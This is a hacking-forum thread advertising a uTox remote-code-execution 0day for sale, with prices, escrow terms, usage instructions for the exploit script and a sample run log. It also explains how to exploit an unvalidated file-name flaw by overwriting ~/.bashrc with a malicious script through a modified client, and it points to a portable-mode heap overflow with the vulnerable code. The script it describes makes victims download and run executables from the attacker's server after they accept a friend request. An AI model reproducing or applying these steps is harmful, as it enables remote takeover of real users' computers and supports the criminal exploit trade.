[UnicornLover67]

https://static.wikia.nocookie.net/logope...1022152319
uTox RCE 0day
Currently working (0.18.1)
Software has not been updated for over three years yet still has many users, second biggest tox client to qTox which is also outdated and allegedly has exploits developed for and sold.
Private Message your xmpp/signal/telegram/session/tox.
Can use Escrow, onsite escrow.bf.st preferred.

utox-exploit.py $30k (cleaned up and slightly updated from the previously privately shared script (below) from a group buy last year)
utox-rce.py $25k

Usage:
Edit the python script variable with the tox to be used to send the malicious friend request from (target must accept contact)
Edit var dlexdir, your web server directory hosting files for windows.exe and/or linux executable(s) (variables in script)
$ python3 utox-priv.py --target-toxid 12814106C817FE043821AF616711EDD1F82F89EEB09167C2F0DAFF94A8DB0554ADBC9160409B

[12/3/24 10:21PM GMT] RCE (друг) Request Sent! DLEXDIR="https://www.file.download/files/" TARGET-TOXID="12814106C817FE043821AF616711EDD1F82F89EEB09167C2F0DAFF94A8DB0554ADBC9160409B" FROM-TOXID=""

Flags:
--target-toxid "the target (u)tox id"

Hack uTox users with just a friend request! Automagically Download & Execute Exploit Script Source Code!

[OneSh0tTw0sh0t]

oh shit, tox again?

[Bladez1]

Firm on the pricing?

[UnicornLover67]

https://cyberpress.org/selling-utox-rce-0day/

Also BTW, the scripts sold are completely developed and do not use the following method(s)

uTox through 0.18.1 doesn't validate incoming file name, allowing remote attacker to overwrite arbitrary file on victim's machine.
Remote attacker may overwrite ~/.bashrc or ~/.profile as well, causing remote code execution.
 
To exploit this vulnerability, modified uTox client may be used.
Just set name and name_length variables in file_transfers.c, in ft_send_file(), before tox_file_send(), and send an evil shell script. For example:
name = "/home/krobelus/.bashrc";
name_length = strlen(name);
 
Second vulnerability exists only if uTox is in portable mode, with --portable parameter.
https://github.com/uTox/uTox/blob/develop/src/xlib/filesys.c
 

PHP Code:

void native_autoselect_dir_ft(uint32_t fid, FILE_TRANSFER *file)
...
uint8_t *path = malloc(file->name_length + 1);
...
if (settings.portable_mode) {
snprintf((char *)path, UTOX_FILE_NAME_LENGTH, "./tox/Tox_Auto_Accept/");
native_create_dir(path);
snprintf((char *)path, UTOX_FILE_NAME_LENGTH, "./tox/Tox_Auto_Accept/%.*s", (int)file->name_length, file->name); 


Here file->name_length is less than UTOX_FILE_NAME_LENGTH, so any incoming file transfer will cause remote heap overflow, denial of service and, possibly, remote code execution.
 
Automatic file acceptance must be turned on to exploit these two vulnerabilities, but due to uTox peculiarities, this option is on among the majority of users already.
These peculiarities are that uTox users have only a few seconds to confirm file receiving, thus receiving a few files one by one quickly turns into hell.
Debug builds are not vulnerable to heap overflow, because AddressSanitizer is used.
Vulnerabilities reported to cve.org, but no entries were created hitherto.

Firm on the pricing?

50% off this week

[Loki]

@UnicornLover67 PM me to verify the authenticity of the thread.

[abd0804]

Interesting!How to ensure authenticity?

[UnicornLover67]

Interesting!How to ensure authenticity?

set up utox on an rdp and accept my friend request? sure you could probably just monitor traffic and find exactly how it's done, but i've practically given the sauce away already ITT. main point of sale is that these are fully working, skid friendly, RCE exploit scripts so you don't have to find the 0day, test and write all the automation code. Hack uTox users with just a friend request! Automagically Download & Execute Exploit Script Source Code!

[1331]

Can confirm that this is real and has existed since at least 2016.

Good luck with sales.